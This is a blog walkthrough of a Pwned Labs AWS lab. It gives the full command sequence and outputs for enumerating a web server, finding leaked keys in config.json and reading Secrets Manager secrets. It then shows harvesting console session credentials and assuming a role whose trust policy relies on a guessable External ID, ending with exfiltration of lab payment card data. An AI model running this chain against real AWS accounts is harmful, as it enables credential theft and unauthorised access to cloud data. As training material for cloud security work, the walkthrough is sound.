Pawned Labs AWS

Pawned Labs: Assume Privileged Role with External ID Walkthrough

Author
Dulanjana Fernando
Nov 08, 2026  •  12 min read  •  19 views
Pawned Labs: Assume Privileged Role with External ID Walkthrough

Initial web enumeration via Gobuster exposes a config file on an Apache web server, leaking AWS credentials for the data-bot user along with S3 bucket information. Utilizing aws-enumerator, data-bot is found to have access to AWS Secrets Manager. Exfiltrating the ext/cost-optimization secret recovers plaintext login credentials for ext-cost-user, allowing authentication to the AWS Management Console. Intercepting temporary API session tokens via the browser's Developer Tools enables CLI enumeration of ext-cost-user's IAM permissions. Analyzing the attached ExtPolicyTest policy reveals read access to the ExternalCostOpimizeAccess role. Inspecting the role's trust policy shows it can be assumed by any AWS principal matching an External ID. Privilege escalation is achieved by using the initial testing AWS account to execute aws sts assume-role with the required External ID. The assumed role grants access to the secret, successfully exfiltrating target payment card details and the final flag.

1. Scenario & Real-world context

1.1 Scenario

Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn't just a test of their defences, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!

We have also found access keys for the AWS user `testing` in a public GitHub repository belonging to Huge Logistics. However, initial enumeration using this account reveals that it has no usable permissions in the environment. These credentials have been provided in the `Entry Point` section above. Maybe they can still be useful?

1.2 Real-world context

The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022, the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a `config.json` file that contained AWS credentials for their account. Using AssumeRole is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers' account.

2. Initial Reconnaissance & IAM Assessment

2.1 Network Scanning

After connecting to the PawnedLabs VPN, I launched an NMAP scan on the target IP to find out what ports are open and which services are running on them.

nmap 52.0.51.234 -sC -sV -O -oN nmap_scan -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-04 23:26 -0500
Nmap scan report for 52.0.51.234
Host is up (0.26s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Huge Logistics
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X (85%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6.32
Aggressive OS guesses: Linux 4.15 (85%), Linux 2.6.32 (85%), Linux 4.0 - 4.4 (85%), Linux 4.19 - 5.15 (85%)
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.72 seconds
Article Image
Static Website

Based on the scan, only port 80 is open, and the Apache server version 2.4.52 is running and hosting a static website.

2.2 IAM Assessment

Since the website is a static website, I decided to enumerate the AWS credentials supplied in the lab. I was able to run aws configure to configure AWS CLI access, and by running aws sts get-caller-identity, I was able to verify access as the testing user.

aws sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRF6HVELNEF5",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/testing"
}

The user testing does not have privileges to enumerate any groups or policies, and all enumeration attempts received an AccessDenied exception.

aws iam list-attached-user-policies --user-name testing
aws iam list-user-policies --user-name testing
aws iam list-groups-for-user --user-name testing

3. Web Enumeration

I decided to run a directory scan against the target IP to find any hidden directory paths or files.

gobuster dir -u 52.0.51.234 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,.env,md,txt,config,phtml,json,yml
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://52.0.51.234
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,json,html,config,phtml,yml,php,env,md
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 18312]
img                  (Status: 301) [Size: 308] [--> http://52.0.51.234/img/]
css                  (Status: 301) [Size: 308] [--> http://52.0.51.234/css/]
js                   (Status: 301) [Size: 307] [--> http://52.0.51.234/js/]
vendor               (Status: 301) [Size: 311] [--> http://52.0.51.234/vendor/]
config.json          (Status: 200) [Size: 832]

Based on the scan result, there is an exposed configuration file. I was able to find another set of hardcoded AWS credentials, some bucket details and some API endpoints and routing parameters.

# config.json
{"aws": {
        "accessKeyID": "AKIA************AHHG",
        "secretAccessKey": "chMbG******************************mRXCa",
        "region": "us-east-1",
        "bucket": "hl-data-download",
        "endpoint": "https://s3.amazonaws.com"
    },
    "serverSettings": {
        "port": 443,
        "timeout": 18000000
    },
    "oauthSettings": {
        "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
        "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
        "clientID": "1012aBcD3456EfGh",
        "clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
        "callbackURL": "https://portal.huge-logistics/callback",
        "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
    }
}

4. S3 Bucket & Services Enumeration

4.1 Profile Configuration & Validation

I decided to set up a new access profile using the newfound credentials. I was able to set up the profile by running aws configure --profile web-creds.

After setting up the profile, I was able to verify the credentials as the data-bot user.

aws sts get-caller-identity --profile web-creds
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}

4.2 S3 Bucket Access

Similar to the testing user, this user also does not have access to enumerate any policies or roles. Based on the configuration file contents, this profile should have some form of S3 bucket access. Even though the data-bot user does not have permissions to list the S3 buckets by running aws s3 ls --profile web-creds, I was able to list the contents of the hl-data-download bucket.

aws s3 ls s3://hl-data-download --profile web-creds
2023-08-05 17:56:58       5200 LOG-1-TRANSACT.csv
2023-08-05 17:57:05       5200 LOG-10-TRANSACT.csv
2023-08-05 17:58:04       5200 LOG-100-TRANSACT.csv
2023-08-05 17:57:05       5200 LOG-11-TRANSACT.csv
........
2023-08-05 17:58:01       5200 LOG-96-TRANSACT.csv
2023-08-05 17:58:02       5200 LOG-97-TRANSACT.csv
2023-08-05 17:58:02       5200 LOG-98-TRANSACT.csv
2023-08-05 17:58:03       5200 LOG-99-TRANSACT.csv

I was able to download the CSV files using aws s3 cp s3://hl-data-download/LOG-99-TRANSACT.csv ./LOG-99-TRANSACT.csv --profile web-creds, but I did not find anything interesting in the files.

4.3 Automated Service Enumeration

To enumerate the other services that are accessible by the user data-bot, I used aws-enumerator.

~/go/bin/aws-enumerator cred
Message:  File .env with AWS credentials were created in current folder

After adding the data-bot user's credentials into the .env file, I was able to launch the scan to enumerate all the AWS services.

~/go/bin/aws-enumerator enum -services all
.......
Message:  Successful DYNAMODB: 1 / 5
.......
Message:  Successful SECRETSMANAGER: 1 / 2
.......
Message:  Successful STS: 2 / 2
.......
Time: 1m17.781664994s
Message:  Enumeration finished

Based on the enumeration results, the data-bot user has access to Secrets Manager read or list secrets, some access to DynamoDB, and AWS STS access.

5. Secrets Manager Exploitation & Console Access

5.1 Listing & Extracting Secrets

Following the Secrets Manager access discovery, I was able to list the secrets in Secrets Manager as the data-bot user.

aws secretsmanager list-secrets --profile web-creds
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z",
            "Name": "employee-database-admin",
            "Description": "Admin access to MySQL employee database",
            "LastChangedDate": "2023-07-12T14:15:38.909000-04:00",
            "LastAccessedDate": "2026-11-01T19:00:00-05:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "41a82b5b-fb44-4ab3-8811-7ea171e9d3c1": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2023-07-12T14:14:35.740000-04:00"
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl",
            "Name": "employee-database",
            "Description": "Access to MySQL employee database",
            "RotationEnabled": true,
            "RotationLambdaARN": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
            "RotationRules": {
                "AutomaticallyAfterDays": 7,
                "ScheduleExpression": "cron(0 0 ? * 2 *)"
            },
            "LastRotatedDate": "2026-11-01T22:18:46.215000-05:00",
            "LastChangedDate": "2026-11-01T22:18:46.191000-05:00",
            "LastAccessedDate": "2026-11-02T19:00:00-05:00",
            "NextRotationDate": "2026-11-09T18:59:59-05:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "052f617e-f7fc-4cfa-bebe-9e550c22e652": [
                    "AWSCURRENT",
                    "AWSPENDING"
                ],
                "c1f6d6db-eb6a-403d-b557-f96e48ae38d0": [
                    "AWSPREVIOUS"
                ]
            },
            "CreatedDate": "2023-07-12T14:15:02.970000-04:00"
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
            "Name": "ext/cost-optimization",
            "Description": "Allow external partner to access cost optimization user and Huge Logistics resources",
            "LastChangedDate": "2023-08-06T16:10:16.392000-04:00",
            "LastAccessedDate": "2026-11-03T19:00:00-05:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "f7d6ae91-5afd-4a53-93b9-92ee74d8469c": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2023-08-04T17:19:28.466000-04:00"
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
            "Name": "billing/hl-default-payment",
            "Description": "Access to the default payment card for Huge Logistics",
            "LastChangedDate": "2023-08-04T18:33:39.872000-04:00",
            "LastAccessedDate": "2026-11-03T19:00:00-05:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "f8e592ca-4d8a-4a85-b7fa-7059539192c5": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2023-08-04T18:33:39.828000-04:00"
        }
    ]
}

User data-bot only has access to read ext/cost-optimization secret value, and all the other attempts returned an AccessDenied exception.

aws secretsmanager get-secret-value --secret-id ext/cost-optimization --query SecretString --profile web-creds --output text|jq
{
  "Username": "ext-cost-user",
  "Password": "K33pOurCostsOptimized!!!!"
}

5.2 AWS Management Console Authentication

Based on the aws sts get-caller-identity --profile web-creds response, the AWS Account ID is 427648302155.

Combining this with the credentials found, I was able to successfully log in to the AWS Management Console using the browser as user ext-cost-user.

Article Image
AWS Management Console

6. Credential Harvesting & Policy Enumeration

6.1 Web Console Active Session Credentials

Looking around the Management Console, the ext-cost-user user's access is heavily restricted. Inspecting the Network Tab in the browser console and navigating to the IAM dashboard, I was able to harvest AWS CLI credentials from the /creds endpoint.

Article Image
creds API Endpoint Credentials Harvesting

6.2 CLI Profile Setup & Policy Enumeration

I was able to set up an AWS CLI access profile using the harvested credentials. Since the /creds credential access is restricted to the specific service, I will be able to enumerate only IAM, since I got these credentials by visiting the IAM dashboard.

I was able to enumerate the attached user policies and find the ExtPolicyTest user policy attached to the ext-cost-user user.

aws iam list-attached-user-policies --user-name ext-cost-user --profile ext-cost-user-iam
{
    "AttachedPolicies": [
        {
            "PolicyName": "ExtPolicyTest",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
        }
    ]
}

Enumerating the ExtPolicyTest metadata revealed that the v4 is active.

aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --profile ext-cost-user-iam
{
    "Policy": {
        "PolicyName": "ExtPolicyTest",
        "PolicyId": "ANPAWHEOTHRF7772VGA5J",
        "Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T21:47:26+00:00",
        "UpdateDate": "2023-08-06T20:23:42+00:00",
        "Tags": []
    }
}

Querying the access scope of the active policy version revealed that it has access to the Payment policy and ExternalCostOpimizeAccess role.

aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4 --profile ext-cost-user-iam
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                        "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                        "arn:aws:iam::427648302155:policy/Payment",
                        "arn:aws:iam::427648302155:user/ext-cost-user"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-06T20:23:42+00:00"
    }
}

6.3 Role Trust Policy & External ID

Enumerating ExternalCostOpimizeAccess role access, I found that the role can be assumed by any AWS user by directly referencing the role's external ID.

aws iam get-role --role-name ExternalCostOpimizeAccess --profile ext-cost-user-iam
{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "*"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2026-11-04T12:15:34+00:00",
            "Region": "us-east-1"
        }
    }
}

Enumerating the policies attached to the role revealed that it has a Payment policy attached.

aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess --profile ext-cost-user-iam
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}

Enumerating the Payment policy metadata revealed that v2 of the policy is active.

aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment --profile ext-cost-user-iam
{
    "Policy": {
        "PolicyName": "Payment",
        "PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
        "Arn": "arn:aws:iam::427648302155:policy/Payment",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T22:03:41+00:00",
        "UpdateDate": "2023-08-04T22:34:19+00:00",
        "Tags": []
    }
}

Querying the access scope of the policy version revealed that it has access to list and view Secrets Manager secrets for secret:billing/hl-default-payment-xGmMhK.

aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2 --profile ext-cost-user-iam
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19+00:00"
    }
}

7. Privilege Escalation & Flag Recovery

7.1 Role Assumption via External ID

Based on the findings, the role ExternalCostOpimizeAccess allows any AWS user to assume the role using the external ID (37911).
Since I have already configured my AWS CLI with the testing user's credentials, I will use this user to request temporary credentials to assume the role.

aws sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOpimizeAccess --external-id 37911
{
    "Credentials": {
        "AccessKeyId": "ASIA************4SVX",
        "SecretAccessKey": "LHwV6****************************5I+liiP",
        "SessionToken": "IQoJb3JpZ2luX2VjEPv//////////wEaCXVzLWVhc3QtMSJIMEYCIQDJO6JIJe2q+6nIh4VNj2wgg+GlcVYqTd1TYJwHZVUtmwIhANN89g/Ir0vAoTG/SBY96gixC/uGQcwg1ykZ5MVF8JcCKq8CCMT//////////wEQABoMNDI3NjQ4MzAyMTU1IgzXS7lMwGutVqBj9xoqgwLngbP7HfGIl6JiGjbfH2MbJ64fvO2j/7N83GhbLFuknyR1QQRhkx0CghYYjfHtvCJyT2jw1lzGCkwDak+nBC+s4nK+euzpdLqI+Ht/XHbdoTMv07uVExVqbvyU6GgBEDIqh5/DnY3H/leZJZ+OMb2NCPBvlkil0cc9yh5XDD1sYhpufbbwSzMWOoasX2suadGFiImFVYYG4Qsv/XbOtHN7QL/BOqWWxAhzPEFtiEs/e5OQReXpjqlQM0g/9FqzGcIZWoVhuY8EeRoS30zWTZ1nxyGB4F49gla5oukA7cAEWvJLQ2jNgYaKZnUJhSEMF38gytBOR2ot4Ts7ZgAKeSIHGrdMMNq+sdcGOpwB4NlboilxqCHMYyOPVb23zA7e2LZBo7V+EK/5nTXg1o5RPfb1cmU+ssWoZr7bajmlMuKnBh+Mdp/BUvAVWzNEJnPe0wIFTFoOTFi7TX10juOzTI3ozfQksFT6fOll65M5LDA33/2vro/EDXIOC9CNUSgFAfN3SkGsMVBZaBNVEIExfQgW+T2nJ8xP8PmRUtZOeQSXzFW7p90Y2j0J",
        "Expiration": "2026-11-05T11:50:02+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
    },
    "PackedPolicySize": 18
}

7.2 Secret Exfiltration & Flag Extraction

STS returned temporary credentials for the ExternalCostOpimizeAccess role, and I was able to create a new access profile using the returned credentials by running aws configure --profile ExternalCostOpimizeAccessRole.

aws sts get-caller-identity --profile ExternalCostOpimizeAccessRole
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}

After successfully verifying the AWS CLI access as ExternalCostOpimizeAccess, I was able to access the secret value and capture the flag.

aws secretsmanager get-secret-value --secret-id billing/hl-default-payment --profile ExternalCostOpimizeAccessRole|jq
{
  "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
  "Name": "billing/hl-default-payment",
  "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
  "SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"681**************************5ca\"}",                                                                                                                
  "VersionStages": [
    "AWSCURRENT"
  ],
  "CreatedDate": "2023-08-05T08:33:39.867000+10:00"
}
Tags:
AWS IAM S3 Secrets Manager External ID Assume Role

You Might Also Like

View all articles
Pawned Labs: Unlock Access with Azure Key Vault Walkthrough
Pawned Labs Beginner Azure Key Vault
Pawned Labs: Unlock Access with Azure Key Vault Walkthrough

The Unlock Access with Azure Key Vault lab on PwnedLabs focuses on demonstrating cloud post-exploitation techniques within an Azure environment following an initial identity compromise. Practitioners learn how to leverage compromised user credentials to enumerate accessible cloud resources via the Azure CLI, discover misconfigured Azure Key Vault permissions, and extract plaintext secrets stored for contractor accounts. The lab further highlights lateral movement by exploiting a flawed external MFA provider to pivot to a higher-privileged consultant account. Finally, it illustrates how custom Azure RBAC roles with granular data-plane permissions can be analyzed to locate and exfiltrate sensitive customer data stored within Azure Storage tables.

Nov 02, 2026  ·  116 views Read
Pawned Labs: AWS S3 Enumeration Basics Walkthrough
Pawned Labs Beginner AWS IAM
Pawned Labs: AWS S3 Enumeration Basics Walkthrough

AWS S3 Enumeration Basics lab is a PwnedLabs beginner lab that focuses on identifying, enumerating, and escalating privileges within AWS S3 infrastructure starting from a public web application footprint. Initial web reconnaissance against the website identifies static assets hosted directly out of the S3 bucket. Unauthenticated bucket listing reveals a publicly readable shared/ directory containing a zip, which yields a PowerShell script with embedded AWS access keys for the pam-test IAM identity. Authenticating as pam-test grants access to list restricted bucket prefixes, exposing an XML file. Parsing this XML file discloses valid production credentials for the it-admin IAM identity. Auditing the S3 bucket policy as it-admin reveals an explicit deny statement targeting pam-test for the admin/* prefix, which blocks pam-test from downloading sensitive files. Authenticating as it-admin bypasses this restriction, allowing successful retrieval of the flag.

Oct 28, 2026  ·  113 views Read
Pawned Labs: Identify the AWS Account ID from a Public S3 Bucket Walkthrough
Pawned Labs Beginner AWS S3
Pawned Labs: Identify the AWS Account ID from a Public S3 Bucket Walkthrough

Identifying the AWS Account ID from a Public S3 Bucket is a PwnedLabs beginner lab that focuses on discovering and attributing AWS cloud assets from public web footprinting. Initial reconnaissance of the IP address identifies an Apache web server referencing image assets stored in an Amazon S3 bucket named mega-big-tech. Querying the root bucket URL confirms unauthenticated s3:ListBucket and s3:GetObject permissions. Using the open-source tool s3-account-search alongside a controlled IAM role, condition-key policy evaluation was performed against the public bucket. Sequential digit-by-digit prefix probing isolated the target AWS Account ID as 107513503799, establishing the account boundary required for subsequent cloud security auditing.

Oct 26, 2026  ·  77 views Read

Stay Curious. Stay Secure.

Get new articles, security research, practical tutorials, and technical insights delivered to your inbox. No spam, just useful content.

  • New walkthroughs and lab notes as they publish
  • Tools and commands worth keeping
  • No spam. Unsubscribe in one click.
No fluff, we respect your email. See the Privacy Policy.